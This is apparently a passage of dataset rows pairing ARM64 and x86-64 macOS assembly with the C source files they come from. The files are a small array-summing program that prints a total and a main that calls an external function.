mov w1, #5
bl _total
stur w0, [x29, #-12]
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "t=%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _total ## -- Begin function total
.p2align 4, 0x90
_total: ## @total
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $0, -16(%rbp)
movl $0, -20(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
movq -8(%rbp), %rcx
addl (%rcx), %eax
movl %eax, -16(%rbp)
movq -8(%rbp), %rax
addq $4, %rax
movq %rax, -8(%rbp)
jmp LBB0_1
LBB0_3:
movl -16(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq -8(%rbp), %rdi
movl $5, %esi
callq _total
movl %eax, -12(%rbp)
movl -12(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "t=%d\n"
.subsections_via_symbols
| the_stack_data/799934.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
bl _external
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq _external
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/463957.c |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.